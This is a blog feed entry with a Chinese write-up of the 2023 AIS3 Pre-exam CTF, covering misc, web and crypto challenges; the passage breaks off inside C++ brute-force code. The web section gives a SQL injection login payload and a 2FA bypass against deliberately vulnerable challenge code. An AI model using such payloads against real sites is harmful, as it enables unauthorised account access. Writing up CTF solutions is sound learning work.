<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>M3t30r</title>
  <icon>https://www.gravatar.com/avatar/62c84926619989721428f8685a12e3ad</icon>
  <subtitle>A place for some records.</subtitle>
  <link href="http://blog.albert-web.tw/atom.xml" rel="self"/>
  
  <link href="http://blog.albert-web.tw/"/>
  <updated>2026-04-26T11:19:12.708Z</updated>
  <id>http://blog.albert-web.tw/</id>
  
  <author>
    <name>Albert Huang</name>
    <email>alb105322129@gmail.com</email>
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>2023 AIS3 Pre-exam Write Up</title>
    <link href="http://blog.albert-web.tw/2023/05/27/AIS3-2023-preexam/"/>
    <id>http://blog.albert-web.tw/2023/05/27/AIS3-2023-preexam/</id>
    <published>2023-05-27T22:49:43.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>今年是我打AIS3 Pre-Exam的第三年，今年的目標原本只是比去年的名次好就可以了，沒想到居然打進了前10，覺得十分神奇.w.(當然比較大的可能性是大佬都跑去出題ㄌ:P)今年解出的題目分數也都比較高，去年解的題目大部分都是降到100分XD總之很驚訝自己今年可以拿到第9名，也希望自己可以持續進步!</p><p><a href="https://ais3.org/">AIS3官方網站</a></p><p><img src="https://imgur.com/HGS2cIs.png"></p><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><h2 id="Welcome-100"><a href="#Welcome-100" class="headerlink" title="Welcome [100]"></a>Welcome [100]</h2><div class="note default flat"><p>Are you not a robot ?<br>FLAG Format: <code>^AIS3{[A-Z0-9+-*/!?-]+}$</code></p><p>Author: nella17</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1OU5R736aRgj9KLce9S4CQj0qsDA6tm2g/view?usp=sharing">https://drive.google.com/file/d/1OU5R736aRgj9KLce9S4CQj0qsDA6tm2g/view?usp=sharing</a></p></blockquote><p>這題題目給了一個pdf，每張不同大小和形狀的紙裡面各包含了1個flag的字元，只要把他們通通拼在一起即可拿到flag。要注意題目中的Regex並沒有<code>_</code>，所以flag是以<code>-</code>來進行連接。</p><p>FLAG: <code>AIS3&#123;WELCOME-TO-2023-PRE-EXAM&amp;MY-FIRST-CTF&#125;</code></p><h2 id="Robot-100"><a href="#Robot-100" class="headerlink" title="Robot [100]"></a>Robot [100]</h2><div class="note default flat"><p>Are you a robot?</p><p>Note: This is NOT a reversing or pwn challenge. Don’t reverse the binary. It is for local testing only. You will actually get the flag after answering all the questions. You can practice locally by running <code>./robot AIS3{fake_flag} 127.0.0.1 1234</code> and it will run the service on <code>localhost:1234</code>.</p><p>Author: toxicpie</p><p><code>nc chals1.ais3.org 12348</code></p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1cczdP1CntYpbMrU5kD_mf3_Gv3DNYTQe/view?usp=sharing">https://drive.google.com/file/d/1cczdP1CntYpbMrU5kD_mf3_Gv3DNYTQe/view?usp=sharing</a></p></blockquote><p>這題用nc連進去之後會發現要在90秒內做出30道數學題，由於數字很小很容易心算，而且中間又有空格，code需要一點特判，所以我決定直接用心算解完30道數學題之後就能拿到flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">$ nc chals1.ais3.org 12348</span><br><span class="line">Timeout is 90 seconds</span><br><span class="line">Answer 30 easy math questions to get the flag. Let&#x27;s go!</span><br><span class="line">9       +       1</span><br><span class="line">10</span><br><span class="line">5               *               2</span><br><span class="line">10</span><br><span class="line">5  *  10</span><br><span class="line">50</span><br><span class="line">8+7</span><br><span class="line">15</span><br><span class="line">2 + 2</span><br><span class="line">4</span><br><span class="line">4  +  8</span><br><span class="line">12</span><br><span class="line">5       *       2</span><br><span class="line">10</span><br><span class="line">7 * 6</span><br><span class="line">42</span><br><span class="line">3       +       3</span><br><span class="line">6</span><br><span class="line">4       +       6</span><br><span class="line">10</span><br><span class="line">4        +       3</span><br><span class="line">7</span><br><span class="line">2*10</span><br><span class="line">20</span><br><span class="line">7       +       3</span><br><span class="line">10</span><br><span class="line">5  *  6</span><br><span class="line">30</span><br><span class="line">9  +  7</span><br><span class="line">16</span><br><span class="line">5        *       7</span><br><span class="line">35</span><br><span class="line">4 + 2</span><br><span class="line">6</span><br><span class="line">2       *       4</span><br><span class="line">8</span><br><span class="line">6*4</span><br><span class="line">24</span><br><span class="line">10      +       7</span><br><span class="line">17</span><br><span class="line">5       +       7</span><br><span class="line">12</span><br><span class="line">4               *               3</span><br><span class="line">12</span><br><span class="line">1        *       4</span><br><span class="line">4</span><br><span class="line">4       *       1</span><br><span class="line">4</span><br><span class="line">9+2</span><br><span class="line">11</span><br><span class="line">9*4</span><br><span class="line">36</span><br><span class="line">3        +       3</span><br><span class="line">6</span><br><span class="line">8 + 10</span><br><span class="line">18</span><br><span class="line">1*7</span><br><span class="line">7</span><br><span class="line">8+5</span><br><span class="line">13</span><br><span class="line">Congratulations! Flag: AIS3&#123;don&#x27;t_eval_unknown_code_or_pipe_curl_to_sh&#125;</span><br></pre></td></tr></table></figure><p>FLAG: <code>AIS3&#123;don&#39;t_eval_unknown_code_or_pipe_curl_to_sh&#125;</code></p><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="Login-Panel-100"><a href="#Login-Panel-100" class="headerlink" title="Login Panel [100]"></a>Login Panel [100]</h2><div class="note default flat"><p>Login Panel 網站採用了隱形 reCAPTCHA 作為防護機制，以確保只有人類的使用者能夠登入 admin 的帳號。你的任務是找到一個方法來繞過 reCAPTCHA，成功登入 admin 的帳號。</p><p>你可以使用各種技術和手段來達成目標，可能需要進行一些網站分析、程式碼解讀或其他形式的攻擊。請注意，你需要遵守道德規範，不得進行任何非法或有害的行為。</p><p>當你成功登入 admin 的帳號後，你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台，以證明你的成功。</p><p>Author: Ching367436</p><p><a href="http://chals1.ais3.org:8000/">http://chals1.ais3.org:8000/</a></p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1G-VtgJFEKcfN0Xj_wRZLLfXuoxPvR3tM/view?usp=sharing">https://drive.google.com/file/d/1G-VtgJFEKcfN0Xj_wRZLLfXuoxPvR3tM/view?usp=sharing</a></p></blockquote><p>這題先看source code，可以發現在<code>/login</code>的地方，變數直接被塞到SQL expression裡面，是一個典型的SQL Injection。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">app.<span class="title function_">post</span>(<span class="string">&#x27;/login&#x27;</span>, recaptcha.<span class="property">middleware</span>.<span class="property">verify</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; username, password &#125; = req.<span class="property">body</span></span><br><span class="line">    db.<span class="title function_">get</span>(<span class="string">`SELECT * FROM Users WHERE username = &#x27;<span class="subst">$&#123;username&#125;</span>&#x27; AND password = &#x27;<span class="subst">$&#123;password&#125;</span>&#x27;`</span>, <span class="keyword">async</span> (err, row) =&gt; &#123;</span><br><span class="line">        <span class="keyword">if</span> (err) <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">`https://www.youtube.com/watch?v=dQw4w9WgXcQ`</span>)</span><br><span class="line">        <span class="keyword">if</span> (!row) <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">`/login?msg=invalid_credentials`</span>)</span><br><span class="line">        <span class="keyword">if</span> (row.<span class="property">username</span> !== username) &#123;</span><br><span class="line">            <span class="comment">// special case</span></span><br><span class="line">            <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">`https://www.youtube.com/watch?v=E6jbBLrxY1U`</span>)</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (req.<span class="property">recaptcha</span>.<span class="property">error</span>) &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(req.<span class="property">recaptcha</span>.<span class="property">error</span>)</span><br><span class="line">            <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">`/login?msg=invalid_captcha`</span>)</span><br><span class="line">        &#125;</span><br><span class="line">        req.<span class="property">session</span>.<span class="property">username</span> = username</span><br><span class="line">        <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">&#x27;/2fa&#x27;</span>)</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>而目標是登入<code>admin</code>，但code中說明如果我們輸入的東西與username不符，就會跳出rickroll，所以我們可以注入的地方在<code>password</code>，只要使用payload<code>admin&#39; OR 1=1--</code>就可以直接登入。</p><p><img src="https://imgur.com/mvNyz9i.png"></p><p>登入之後會進入<code>/2FA</code>，但從source code中可以看出，這其實沒有對<code>/dashboard</code>做任何防護，所以直接跳到<code>/dashboard</code>就可以得到flag了。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">app.<span class="title function_">post</span>(<span class="string">&#x27;/2fa&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (req.<span class="property">session</span>.<span class="property">username</span>) &#123;</span><br><span class="line">        <span class="keyword">const</span> &#123; code &#125; = req.<span class="property">body</span></span><br><span class="line">        db.<span class="title function_">get</span>(<span class="string">`SELECT code FROM Users WHERE username = &#x27;<span class="subst">$&#123;req.session.username&#125;</span>&#x27;`</span>, <span class="function">(<span class="params">err, row</span>) =&gt;</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (err)</span><br><span class="line">                <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">`https://www.youtube.com/watch?v=dQw4w9WgXcQ`</span>)</span><br><span class="line">            <span class="keyword">if</span> (row.<span class="property">code</span> === code)</span><br><span class="line">                <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">&#x27;/dashboard&#x27;</span>)</span><br><span class="line">            <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">&#x27;/2fa?msg=invalid_code&#x27;</span>)</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> res.<span class="title function_">redirect</span>(<span class="string">&#x27;/login&#x27;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p><img src="https://imgur.com/DJbAl3J.png"></p><p>FLAG: <code>AIS3&#123;&#39; UNION SELECT 1, 1, 1, 1 WHERE (&#123;condition&#125;)--&#125;</code></p><h1 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h1><h2 id="Fernet-100"><a href="#Fernet-100" class="headerlink" title="Fernet [100]"></a>Fernet [100]</h2><div class="note default flat"><p>你所在的公司最近發生了一起駭客入侵事件，管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。你需要解開被加密的檔案，否則事情就大條了！</p><p>flag format : <code>FLAG{xxx}</code></p><p>Auther : Richard ( dogxxx)</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/15q0Ty6A7tWm6cPBP2UMWYz1yJcfN0tEM/view?usp=sharing">https://drive.google.com/file/d/15q0Ty6A7tWm6cPBP2UMWYz1yJcfN0tEM/view?usp=sharing</a></p></blockquote><p>這題一樣直接看source code，可以發現他是利用Fernet來進行加密。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> cryptography.fernet <span class="keyword">import</span> Fernet</span><br><span class="line"><span class="keyword">from</span> Crypto.Hash <span class="keyword">import</span> SHA256</span><br><span class="line"><span class="keyword">from</span> Crypto.Protocol.KDF <span class="keyword">import</span> PBKDF2</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> FLAG</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">plaintext, password</span>):</span><br><span class="line">    salt = os.urandom(<span class="number">16</span>)  </span><br><span class="line">    key = PBKDF2(password.encode(), salt, <span class="number">32</span>, count=<span class="number">1000</span>, hmac_hash_module=SHA256)  </span><br><span class="line">    f = Fernet(base64.urlsafe_b64encode(key))  </span><br><span class="line">    ciphertext = f.encrypt(plaintext.encode())  </span><br><span class="line">    <span class="keyword">return</span> base64.b64encode(salt + ciphertext).decode()</span><br><span class="line"></span><br><span class="line"><span class="comment"># Usage:</span></span><br><span class="line">leak_password = <span class="string">&#x27;mysecretpassword&#x27;</span></span><br><span class="line">plaintext = FLAG</span><br><span class="line"></span><br><span class="line"><span class="comment"># Encrypt</span></span><br><span class="line">ciphertext = encrypt(plaintext, leak_password)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Encrypted data:&quot;</span>,ciphertext)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Encrypted data:iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj</span></span><br></pre></td></tr></table></figure><p>從code裡面可以知道，他的key是利用password與salt使用PBKDF2生成，但password和salt都是已知，可以分別從source code和output中得到，因此我們可以直接造出一模一樣的key來對加密的東西進行解密。將這段code稍作修改後就能作為exploit拿來decrypt，得到flag。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> cryptography.fernet <span class="keyword">import</span> Fernet</span><br><span class="line"><span class="keyword">from</span> Crypto.Hash <span class="keyword">import</span> SHA256</span><br><span class="line"><span class="keyword">from</span> Crypto.Protocol.KDF <span class="keyword">import</span> PBKDF2</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">ciphertext, password, salt</span>):</span><br><span class="line">    key = PBKDF2(password.encode(), salt, <span class="number">32</span>, count=<span class="number">1000</span>, hmac_hash_module=SHA256)</span><br><span class="line">    f = Fernet(base64.urlsafe_b64encode(key))</span><br><span class="line">    plaintext = f.decrypt(ciphertext)</span><br><span class="line">    <span class="keyword">return</span> plaintext</span><br><span class="line"></span><br><span class="line">leak_password = <span class="string">&#x27;mysecretpassword&#x27;</span></span><br><span class="line">ciphertext = base64.b64decode(<span class="string">b&#x27;iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj&#x27;</span>)</span><br><span class="line">salt = ciphertext[:<span class="number">16</span>]</span><br><span class="line">ciphertext = ciphertext[<span class="number">16</span>:]</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(decrypt(ciphertext, leak_password, salt))</span><br></pre></td></tr></table></figure><p>FLAG: <code>FLAG&#123;W3lc0m3_t0_th3_CTF_W0rld_!!_!!!_!&#125;</code></p><h2 id="2DES-484"><a href="#2DES-484" class="headerlink" title="2DES [484]"></a>2DES [484]</h2><div class="note default flat"><p>「2DES 」是一個刺激的「Capture the Flag」（CTF）挑戰，考驗你在解密使用 Double DES（2DES）加密的數據方面的技能。準備好進入密碼學的世界，解開這個加密訊息中隱藏的秘密。</p><p>在這個挑戰中，你將面對一個使用 2DES 加密算法保護的加密訊息。你的任務是解密這個訊息並恢復原始明文。為了做到這一點，你需要深入了解密碼學原理，並能夠運用各種技術來破解加密。</p><p>你準備好踏上這個激動人心的解密之旅，揭示這個訊息中隱藏的秘密了嗎？加入我們的「2DES 加密 CTF 挑戰」，在迷人的密碼學世界中展示你的技巧吧！</p><p>Author: Ching367436</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1IFZz-1Q0En15uO6MehLM35cxDMZA6Sip/view?usp=sharing">https://drive.google.com/file/d/1IFZz-1Q0En15uO6MehLM35cxDMZA6Sip/view?usp=sharing</a></p></blockquote><p>這題的題目已經很明顯地暗示這題是Double DES了，而其最常見的攻擊手法就是Meet In The Middle(MITM)中間相遇攻擊，因此可以直接利用這個弱點來進行攻擊，分別拿到key1與key2。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">&#x27;crypto&#x27;</span>)</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">FLAG</span> = <span class="built_in">require</span>(<span class="string">&#x27;./flag&#x27;</span>)</span><br><span class="line"><span class="keyword">const</span> assert = <span class="built_in">require</span>(<span class="string">&#x27;assert&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Generate key and IV</span></span><br><span class="line"><span class="keyword">const</span> key1 = crypto.<span class="title function_">randomBytes</span>(<span class="number">8</span>)</span><br><span class="line"><span class="keyword">const</span> key2 = crypto.<span class="title function_">randomBytes</span>(<span class="number">8</span>)</span><br><span class="line"><span class="keyword">const</span> iv = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([<span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;AIS3 三&#x27;</span>)])</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">8</span>; i++) &#123;</span><br><span class="line">    key1[i] = key1[i] | <span class="number">0b11110000</span></span><br><span class="line">    key2[i] = key2[i] | <span class="number">0b11110000</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">encrypt</span>(<span class="params">msg, key, iv</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> cipher = crypto.<span class="title function_">createCipheriv</span>(<span class="string">&#x27;des-cbc&#x27;</span>, key, iv)</span><br><span class="line">    <span class="keyword">let</span> encrypted = cipher.<span class="title function_">update</span>(msg)</span><br><span class="line">    encrypted = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([encrypted, cipher.<span class="title function_">final</span>()])</span><br><span class="line">    <span class="keyword">return</span> encrypted</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">decrypt</span>(<span class="params">msg, key, iv</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> decipher = crypto.<span class="title function_">createDecipheriv</span>(<span class="string">&#x27;des-cbc&#x27;</span>, key, iv)</span><br><span class="line">    <span class="keyword">let</span> decrypted = decipher.<span class="title function_">update</span>(msg, <span class="string">&#x27;nyan~&#x27;</span>)</span><br><span class="line">    decrypted = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([decrypted, decipher.<span class="title function_">final</span>()])</span><br><span class="line">    <span class="keyword">return</span> decrypted</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> hint_pt = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;AIS3&#123;??????????&#125;&#x27;</span>, <span class="string">&#x27;utf8&#x27;</span>)</span><br><span class="line"></span><br><span class="line">res = <span class="title function_">encrypt</span>(<span class="title function_">encrypt</span>(<span class="variable constant_">FLAG</span>, key1, iv), key2, iv)</span><br><span class="line">hint = <span class="title function_">encrypt</span>(<span class="title function_">encrypt</span>(hint_pt, key1, iv), key2, iv)</span><br><span class="line"></span><br><span class="line">assert.<span class="title function_">equal</span>(</span><br><span class="line">    <span class="title function_">decrypt</span>(<span class="title function_">decrypt</span>(res, key2, iv), key1, iv).<span class="title function_">toString</span>(<span class="string">&#x27;utf8&#x27;</span>),</span><br><span class="line">    <span class="variable constant_">FLAG</span>.<span class="title function_">toString</span>(<span class="string">&#x27;utf8&#x27;</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`let res = &#x27;<span class="subst">$&#123;res.toString(<span class="string">&#x27;hex&#x27;</span>)&#125;</span>&#x27;`</span>)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`let hint_pt = &#x27;<span class="subst">$&#123;hint_pt.toString(<span class="string">&#x27;hex&#x27;</span>)&#125;</span>&#x27;`</span>)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`let hint = &#x27;<span class="subst">$&#123;hint.toString(<span class="string">&#x27;hex&#x27;</span>)&#125;</span>&#x27;`</span>)</span><br><span class="line"><span class="comment">// console.log(`let key1 = &#x27;$&#123;key1.toString(&#x27;hex&#x27;)&#125;&#x27;`)</span></span><br><span class="line"><span class="comment">// console.log(`let key2 = &#x27;$&#123;key2.toString(&#x27;hex&#x27;)&#125;&#x27;`)</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`let iv = &#x27;<span class="subst">$&#123;iv.toString(<span class="string">&#x27;hex&#x27;</span>)&#125;</span>&#x27;`</span>)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`</span></span><br><span class="line"><span class="string">    module.exports = &#123;</span></span><br><span class="line"><span class="string">        res: res,</span></span><br><span class="line"><span class="string">        hint: hint,</span></span><br><span class="line"><span class="string">        iv: iv,</span></span><br><span class="line"><span class="string">        hint_pt: hint_pt,</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">`</span>)</span><br></pre></td></tr></table></figure><p>首先我們需要先造出一個所有key的list，在這裡我使用C++來進行IO加速。其中在解密的時候可以發現，前面4 bit因為特殊for迴圈的關係，固定會是1111，而且最後1 bit的數值1/0並不會影響到解密出來的東西，所以可以枚舉奇數就好，因此一位會產生$2^3=8$種可能，並一共會產生$8^8=16777216$種key，在可電腦窮舉的範圍內。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);</span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int32_t</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="function">IOS</span></span><br><span class="line"><span class="function">    ofstream <span class="title">MyFile</span><span class="params">(<span class="string">&quot;key.txt&quot;</span>)</span></span>;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> a=<span class="number">1</span>;a&lt;<span class="number">16</span>;a+=<span class="number">2</span>)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%d\n&quot;</span>,a);</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> b=<span class="number">1</span>;b&lt;<span class="number">16</span>;b+=<span class="number">2</span>)&#123;</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> c=<span class="number">1</span>;c&lt;<span class="number">16</span>;c+=<span class="number">2</span>)&#123;</span><br><span class="line">                <span class="keyword">for</span>(<span class="type">int</span> d=<span class="number">1</span>;d&lt;<span class="number">16</span>;d+=<span class="number">2</span>)&#123;</span><br><span class="line">                    <span class="keyword">for</span>(<span class="type">int</span> e=<span class="number">1</span>;e&lt;<span class="number">16</span>;e+=<span class="number">2</span>)&#123;</span><br><span class="line">                        <span class="keyword">for</span>(<span class="type">int</span> f=<span class="number">1</span>;f&lt;<span class="number">16</span>;f+=<span class="number">2</span>)&#123;</span><br><span class="line">                            <span class="keyword">for</span>(<span class="type">int</span> g=<span class="number">1</span>;g&lt;<span class="number">16</span>;g+=<span class="number">2</span>)&#123;</span><br><span class="line">                                <span class="keyword">for</span>(<span class="type">int</span> h=<span class="number">1</span>;h&lt;<span class="number">16</span>;h+=<span class="number">2</span>)&#123;</span><br><span class="line">                                    MyFile&lt;&lt;hex&lt;&lt;<span class="string">&quot;f&quot;</span>&lt;&lt;a&lt;&lt;<span class="string">&quot;f&quot;</span>&lt;&lt;b&lt;&lt;<span class="string">&quot;f&quot;</span>&lt;&lt;c&lt;&lt;<span class="string">&quot;f&quot;</span>&lt;&lt;d&lt;&lt;<span class="string">&quot;f&quot;</span>&lt;&lt;e&lt;&lt;<span class="string">&quot;f&quot;</span>&lt;&lt;f&lt;&lt;<span class="string">&quot;f&quot;</span>&lt;&lt;g&lt;&lt;<span 